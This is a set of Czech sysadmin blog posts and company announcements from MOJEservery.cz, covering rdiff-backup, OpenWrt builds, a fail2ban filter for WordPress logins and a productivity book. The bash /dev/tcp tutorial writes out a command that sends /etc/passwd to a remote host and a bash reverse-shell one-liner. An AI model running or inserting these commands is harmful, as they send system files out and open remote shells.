Jedna z nejlepších konferencí, událostí, meetup, … sešlostí české linux scény pro 2015 se přiblížila, od roku 2012 kdy LinuxDays plně nahradilo zdechnuté LinuxExpo konference roste a roste, byl jsem na každém ročníku a letošní vypadá na podle mě nejlepší, těším se a děkuji, děkuji organizátorům a přednášejícím, obrovské usilí a věnovaná energie, jste hrdinové.
Přijďte na LinuxDays, jde o nejlepší komunitní akci v ČR, nebudete litovat, lidé, technologie, pulzující tržiště nápadů.
Linux mini-howto?
Krátce o nástrojích ze života sysadmina.
Zálohování s rdiff-backup
Poslední dobou je na scéně kolem filesystémů pro Linux opět trochu život, upřímně chtěl bych stabilní filesystém s podporou snapshotování, co máme k dispozici? BTRFS není stable (netvrdím, že nedrží data, ale na produkci?, zatím stále ne), ZFS se mi líbí mocmoc, prošel ohněm, je vyspělý, ale na produkci, když není v jádře a je to port ze Solarisu, kvůli kterému se musela napsat část “runtime” prostředí Solarisu, netvrdím, že to nejde, vpsFree.cz a Pavel Šnajdr dokazuje opak, ale pro komerční prostředí a support to není možné, respektive nepřistoupí na to.
Nově se nám na scéně ukazuje bcachefs, těžko cokoliv hádat, je to tak mladé (srpen 2015, https://lkml.org/lkml/2015/8/21/22) a slibuje to mnoho vlastností BTRFS a ZFS, nechme se překvapit. Ano pak tu máme LVM a snapshoty, ale LVM není filesystém a do dat o vrtstvu “vejš” nevidí, je moc fajn, ale né samospasitelné.
Nově se na scéně objevil (byl uvolněn) jaderný modul Datto Block Driver, modul přidává podporu pro snapshotování a inkrementální zálohování pro libovolné blokové zařízení (“přidává” COW, copy-on-write vlastnost trackováním write systémového volání, ze zdrojového kódu je vidět, že hookuje syscall table), aktuálně testuji, hraju si, čtu kód na workstation a samostatném disku, subjektivně je to dost rychlé.
Peleton nám uzavíra XFS filesystém, který používáme na produkci a na vše ostatní je tu EXT4, ani jeden z těchto filesystémů nepodporuje snapshoty.
rdiff-backup
Co používáme a proč? Chceme inkrementálně zálohovat data (ať už adresáře mezi sebou nebo přes síť), mít možnost jednoduše procházet zálohy a vracet se v čase, mazání starších záloh než XY, zrcadlový obraz původních dat, ACL, uchovávat pouze rozdíly, nenáročnost na přenosové pásmo, jednoduchost.
rdiff-backup
rdiff-backup-fs
Rdiff-backup je nástroj napsaný v Pythonu a splňuje naše potřeby, http://www.nongnu.org/rdiff-backup/features.html, uvnitř je postaven na knihovně librsync , existuje určitě bezpočet skvělých scriptů postavených nad rsync nástrojem a potulujích se po internetu, ale proč nepouží rdiff-backup přímo z repositáře.
Skvělou možnost přidáva právě rdiff-backup-fs, což je modul pro FUSE (Filesystem in Userspace), díky němu je možné připoji (mount) zálohy do adresářové struktury a získat tak přístup ke “snapshotům” dat v čase formou adresářů v mount složce s datumem a časem pořízení zálohy.
S takto udělaným backup se dá trochu čarovat a zpřístupnit zpětně uživateli jeho zálohy jako read-only, např. přes Sambu, NFS apod., přiznávám není to tak elegantní jako udělat na ZFS snapshot pool/test@mojezaloha a mít to vše včetně read-only.
Dnes to bude bez praktické ukázky, jednak nechci ukazovat data ze záloh na produkci ani osobní workstation a druhak je to velmi jednoduché.
rdiff-backup dir1 dir2
rdiff-backup dir1 user@system::/dir2
# nejnovější obnova
rdiff-backup -r now /backupdit/data1 /obnova/data1
# obnova stav před 5 dny
rdiff-backup -r 5D /backupdit/data1 /obnova/data1
# obnova stav k datu
rdiff-backup -r 2015-09-20 /backupdit/data1 /obnova/data1
# odstranění záloh starší než ...
rdiff-backup --remove-older-than 31D /backupdir/data1
# rdiff-backup-fs (FUSE), mount zálohy přes FUSE
# ---
rdiff-backup-fs /mnt /backupdir/data1
ls -la /mnt
umout /mnt
Pozn 1.: Pokud budete obnovovat data do stejné složky odkud probíhala záloha a pujde o přepis tak rdiff bude křičet, je nutné použít parametr –force.
Pozn 1.: K rdiff-backup-fs mount složce je nutné přistupovat jako root (dáno std FUSE technologií), pokud se to nehodí mrkněte do /etc/fuse.conf.
Rdiff-backup má jako většina nástrojů v unixech “hromadu” přepínačů, studujte man rdiff-backup.
A to je vše, užívejte moudře a zálohujte, díky za pozornost.
Na začátku podnikání jsem se rozhodl změnit přístup k osobnímu managementu, již dříve v minulosti (cca 4 roky zpět) jsem se pokoušel o GTD (Getting Things Done), metoda zajímavá, vše jsem měl zpracované do kontextů, tříděné a zprvu to vypadalo jako, že jsem produktivní, problém podle měl byl s efektivitou GTD, točil jsem se v bludném kruhu, ono totiž efektivita není o tom udělat vše, ale udělatjentopodstatné, cojedůležité. GTD mě nutilo udělat vše, mít prázdný inbox, ale už mě nenutilo udělat nebo rozlišit to podstatné.
Kniha ZEN A HOTOVO, zcela jednoduchý systém osobní produktivity , http://www.melvil.cz/kniha-zen-a-hotovo/ , vše podstatné je uvnitř, prečteno pohodlně za víkend.
Vše by mělo být vymyšleno tak jednoduše, jak je to jen možné - ale ne jednodušeji. Albert Einstein
Co se mi líbí na ZTD (osobní pohled)
minimalismu (miluji minimalismu)
minimální verze ZTD, nemusíte osvojovat veškeré návyky
neosvojujete návyky najednout, ale postupně, u GTD to na mě padlo celé najednou (teď začneš každý den dělat tohle, tohle, tohle a tamto)
věci mají svoji důležitost (zasadní podle mě a pro mě)
nejdůležitější úkol(y) dne a týdne, překvapivě funkční věc
nutí člověka zjednodušovat, zjednodušení je klíčem k efektivitě
mluvením nic neuděláš
ZTD je o práci nikoliv o celém systému jako GTD
kniha je malá, hubená, minimalistická
"Věci, na kterých záleží nejvíce, by něměly být vydány na milost těm, na kterých nezáleží vůbec." Goethe
Předchozí text popisuje velmi zlehka osobní zkušenosti s praktikováním a spíše první pocity ze ZTD, nechytejte mě za slova, znova je to osobní. Cítím se lépe, mám pocit, že to podstatné zvládám, věci se posouvají dopředu, ano jsou věci co nestíhám, ale nic kritického se kvůli tomu neděje (zatím). Na ZTD není potřeba nic, stačí zápisník (používám obyčejný, ale vyhlédnul jsem si notes Moleskine) a výhodou je po ruce telefon s přístupem k emailu a kalendáři (Google Apps), nic více a k tomu minimalistické návyky.
Logovat → Sort → Plánování → Výkon → Odpočinek.
ZTD není podle mě to týmu, je to o osobní produktivitě a vlastním zvládání času (života), toto je osobní názor a pocit.
Přemýšlím, že napíši aplikaci pro Android s orientací na ZTD, mám trochu představu jak by to mělo vypadat, hodil by se parťák.
A poslední věc, žádný systém nepovede k dlouhodobému úspěchu a štěstí pokud neděláte co Vás baví a nevěnujete tomuto 100%.
Máte zájem o zapůjčení knihy ? Ozvěte se. To je vše!
Děkuji za pozornost. František Havel. MOJEservery.cz
Nejrychlejší komplikace OpenWrt, pro úplné nováčky, nebojte se postavit si vlastní systém na míru, dle vlastních potřeb, díky automatizovanému build systému je to snadné.
Komplikaci provedeme na Debianu, budeme potřebovat cca 4GB volného místa a trpělivost, OpenWrt má vlastním buildovácí systém (Buildroot, můžete na něj narazit leckde, je to populární nástroj pro sestavení embedded Linuxu) pro cross-compile (sestavuje na x86 ale výstup poběží na jiné platformě).
Nainstaluje nezbytné věci pro překlad,vývoj a git (build-essential, ať žije síla balíčkovacích systému), poté klonujeme git repozitář OpenWrt, jdeme na to.
Tak, máme základ OpenWrt stažen (cca 200MB), nyní potřebujeme balíčky (feeds, potravu) pro sestavení, další se budou dotahovat podle toho vše budeme chtít začlenit.
havel@havel-machine:~/Work$ cd openwrt
havel@havel-machine:~/Work/openwrt$ ./scripts/feeds update -a
havel@havel-machine:~/Work/openwrt$ ./scripts/feeds install -a
Tak konsole na nás hodně křičela, stáhlo se cca dalších 50MB dat, ale nebojte se ničeho, pokračuje dále k sestavení.
havel@havel-machine:~/Work/openwrt$ make defconfig
havel@havel-machine:~/Work/openwrt$ make prereq
havel@havel-machine:~/Work/openwrt$ make menuconfig
Po poslední příkazu se dostáváme k textovému menu, zde si vybereme co chceme sestavit, pro jakou architekturu, jaké balíčky zahrneme (ty se následně stáhnout ve formě zdrojového kódu a zkompilují), jak krásné a jednoduché.
Nejklíčovější je výběr správné cílové architektury (target), otevřete menu, vyberte Broadcom BCM2708/BCM2709 pro Raspebrry Pi 2, stejným způsobem můžete přeložit OpenWrt pro cokoliv jiného, výběr je velmi široký.
Doporučuji si pohrát s v menu Target images -> Boot SD card partition size a Root filesystem partition size , což jsou velikosti oddílů pro boot a root, jako filesystém nechávám ext4.
V kernel -> Wireless si vyberte ovladače pro bezdratové adaptéry pokud je budete používat, já jsem si ještě začlenil VLAN (802.1q), zabbix agenta, LuCI, LuCI Asterisk, coova-chilli a pár dalších, hodí se i wpa_supplicant, obecně menuconfig je velmi bohatý projděte se ho až budete mít chvilku, vše co zaškrtáte má vliv na dobu komplikace, množství stahovaných dat i výslednou velikost image.
Jdeme buildovat (komplikovat), pozor z menuconfig vyberte Save, uložte do souboru .config a až poté exit.
*** End of the configuration.
*** Execute 'make' to start the build or try 'make help'.
havel@havel-machine:~/Work/openwrt$ make -j 3
make[1] world
make[2] tools/install
make[2] package/cleanup
make[3] -C tools/patch compile
make[3] -C tools/expat compile
make[3] -C tools/sstrip compile
make[3] -C tools/make-ext4fs compile
... čekejte a čekejte ...
... pokud jste pozorní všimnete si, že openwrt si samo sestavilo gcc (překladač, či obecně tzv. toolchain) pro své pokračování v překladu ...
make[3] -C toolchain/gcc/final compile
make[3] -C toolchain/gcc/final install
make[2] target/compile
make[3] -C target/linux compile
Hotovo, výstup (připravený image) najdete v openwrt/bin/ , OpenWrt build automaticky sestavil image pro modely Raspberry b,b+ a CM (Compute Module).
OpenWrt obsahuje balíčkovací systém opkg, jde o repositáře s předkompilovaným software pro danou platformu, není nutné tedy software (userspace + ovladače) kompilovat pokud nechcete, ale ta možnost tu stále je. Pro úplnost, balíčky jsou soubory s koncovkou .ipk např. iperf_2.0.5-1_brcm2708.ipk.
Pro Broadcom 2708 a 2709 tedy Raspberry Pi 2 použijte tento předkompilovaný repositář, nastavte si ho v /etc/opkg.con a udělejte opkg update, získáte přístup k rozsáhlému množství software.
Hotovo, tak kompilujte, pokud bude zájem je možné si příště ukázat patchnutí a kompilace OpenWrt jako metarouter Mikrotik s instalací VoIP telefonní ústředny Asterisk, za velmi nízké náklady tak získáte router s Wifi, až ethernet 10portů pro LAN a VoIP telefony.
Užívejte moudře, díky za pozornost. František Havel, MOJEservery.cz.
Máte WordPress na vlastním serveru? Štvou Vás neustálé pokusy o uhádnutí hesla, máte plný access.log web serveru hlášek “POST http://domain/wp-login.php HTTP/1.1″ ?
Pokud používáte na server-u nástroj fail2ban můžete zkoncovat s hádáním hesel WordPressu jednou pro vždy, velmi jednoduše, pojďme na to.
V logu /var/log/auth.log najdete podobné informace o pokusech o přihlášení.
Authentication failure for havel.mojeservery.cz from 46.119.117.47
Authentication failure for admin from 109.98.228.188
Authentication failure for havel.mojeservery.cz from 46.119.117.47
Nastavení filtru fail2ban pro WordPress
Přidáme filter (pravidlo) do fail2ban pro Wodpress (auth.log)(Debian a deriváty std v adresáři /etc/fail2ban/filter.d).
Ukázkový příklad filtru je přímo součástí wp-fail2ban pluginu, stáhněte si zip , rozbalte a použijte wodpress.conf.
root@www:/etc/fail2ban/filter.d# cat wordpress.conf
# Fail2Ban configuration file
#
# Author: Charles Lecklider
#
[INCLUDES]
# Read common prefixes. If any customizations available -- read them from
# common.local
before = common.conf
[Definition]
_daemon = wordpress
# Option: failregex
# Notes.: regex to match the password failures messages in the logfile. The
# host must be matched by a group named "host". The tag "" can
# be used for standard IP/hostname matching and is only an alias for
# (?:::f{4,6}:)?(?P[\w\-.^_]+)
# Values: TEXT
#
failregex = ^%(__prefix_line)sAuthentication failure for .* from $
^%(__prefix_line)sBlocked authentication attempt for .* from $
^%(__prefix_line)sBlocked user enumeration attempt from $
^%(__prefix_line)sPingback requested from $
# Option: ignoreregex
# Notes.: regex to ignore. If this regex matches, the line is ignored.
# Values: TEXT
#
ignoreregex =
Zavedení filter pravidla do fail2ban. (debian /etc/fail2ban/jail.conf přidejte)
root@www:~# iptables -L -n
Chain fail2ban-wordpress (1 references)
target prot opt source destination
DROP all -- 46.119.117.47 0.0.0.0/0
RETURN all -- 0.0.0.0/0 0.0.0.0/0
Hotovo, ani to nebolelo. Zmíněný postup vyžaduje přístup jako root na server, tedy na sdíleném hostingu není aplikovatelný, zde se poohlédněte po jiným bezpečnostních nástrojích (např. oblíbený Wordfence).
Užívejte moudře, díky za pozornost.
František Havel, MOJEservery.cz
spuštěn nový micro web pro Truhlářství a podlahářství David Pajdrman Planá, musím přiznat, že první kontakt obchodníka s panem Pajdrmanem nebyl zdaleka tak přímočarý jak by si obchoďák přál, bylo třeba si zákazníka získat, věnovat mu péči a čas, vybudovat důvěru, povedlo se.
Co nás překvapilo ?
Nasazení, energie, odhodlání a kvalita práce, tento pán ve své firmě vytváří doslova neskutečnévýrobky ze dřeba, bez okolků lze říci, že se doslova “mazlí” se dřevem, je to jeho vášeň, poslání, dáme ruku do ohně za jeho práci.
Vážíme si velmi možnosti spolupracovat s panem Pajdrmanem, držel vždy slovo a termíny, doporučujeme Vám poohlédnout se po jeho službách a produktech, nebudete zklamáni, velmi pečlivý, ochotný člověk.
Jádro webu je postavené na nejrozšířenějším redakční systému na světě → WordPress poslední generace s podporou automatických bezpečnostní aktualizací a Wordfence bezpečnostním modulem, obalené základní sadou prověřených pluginů a na míru upravenou šablonou, díky systému WordPress umožňuje web do budoucna bohaté možnosti rozšíření o novou funkcionalitu a hlavně nehrozí případ vendor-locku (uzamčení zákazníka na konkrétního dodavatele) v případě nasazení proprietárního redakčního systému (když se zákazní rozhodne odejít, veme svůj web a najde si někoho s tisíců vývojářů v ČR pro WordPress, to je jasná výhoda bez debat).
Poslední krokem k nasazení byla implementace emailů pro komunikaci se zákazníkem na vlastní doméně, následné zaškolení pro obsluhu webu, práce s redakčním systémem je snadná a přímočará, práce s galerií je díky podpoře štítků velmi jednoduchá, díky systému oprávnění nehrozí chybné nastavení obsluhou, automatické verzování dokumentů nabízí možnost vrátit se k původní verzi při neopatrné úpravě, vše je pravidělně automaticky zálohováno v hosting centru.
Děkujeme za příležitost a těšíme se na další spolupráci. MOJEservery.cz.
Linux mini-howto?
Krátce o nástrojích ze života sysadmina.
Bash a sokety, /dev/tcp
Věděli jste, že bash obsahuje build-in (vestavěné) BSD socket rozhraní dostupné skrze /dev/tcp? Pseudo zařízení slouží v bashi pro přímou interakci s TCP socketem.
Syntax /dev/tcp s /dev/udp
/dev/tcp/<host>/<port>
/dev/udp/<host>/<port>
Malá ukázka práce s /dev/tcp.
havel@havel-machine:~$ exec 5<>/dev/tcp/havel.mojeservery.cz/80
havel@havel-machine:~$ echo -e "GET / HTTP/1.0\n" >&5
havel@havel-machine:~$ cat <&5 | head -n 10
HTTP/1.1 200 OK
Server: nginx/1.2.1
Date: Tue, 01 Sep 2015 14:41:44 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
X-Powered-By: PHP/5.4.41-0+deb7u1
Vary: Accept-Encoding, Cookie
Cache-Control: max-age=3, must-revalidate
WP-Super-Cache: Served supercache file from PHP
# Na své stroji si rozjeďte netcat
root@www:/root# nc -l -p 8888
# Pošlete si co potřebujete k sobě
havel@havel-machine:~$ cat /etc/passwd > /dev/tcp/havel.mojeservery.cz/8888
# Reverse shell
# Na své stroji si rozjeďte netcat root@www:/root# nc -l -p 8888
havel@havel-machine:~$ bash -i >& /dev/tcp/havel.mojeservery.cz/8888 0>&1
# havel@havel-machine:~$ pwd
pwd
/home/havel
Pozn.: bash je nutné zkomplikovat s volbou (--enable-net-redirections).
pro zákazníka spadající pod obec Tři Sekery realizováno kontinuální off-site zálohování, replikace záloh do vzdálené lokality pro případ živelné katastrofy (požár) či odcizení dat.
Co je to off-site zálohování ?
Offsite záloha představuje záložní kopii originálních dat na jiném datovém nosiči a v jiné geografické lokalitě než je původní umístění. Záložní data jsou použita v případě poškození či ztráty.
Děkujeme za příležitost a těšíme se na další spolupráci. MOJEservery.cz.
Bojujete se zálohování? Nabízíme pomoc.
Nabízíme firemní i osobní zálohovací systémy, onsite i offsite zálohování, replikační systémy, katalogové zálohování, komprimace, deduplikace, verzování záloh, synchronizace lokalit, ochrana záloh, reporting a zcela bezplatně konzultaci a poradentství.
Zdarma navrhneme zálohovácí plán přímo na míru pro Vaše data včetně disaster recovery scenáře.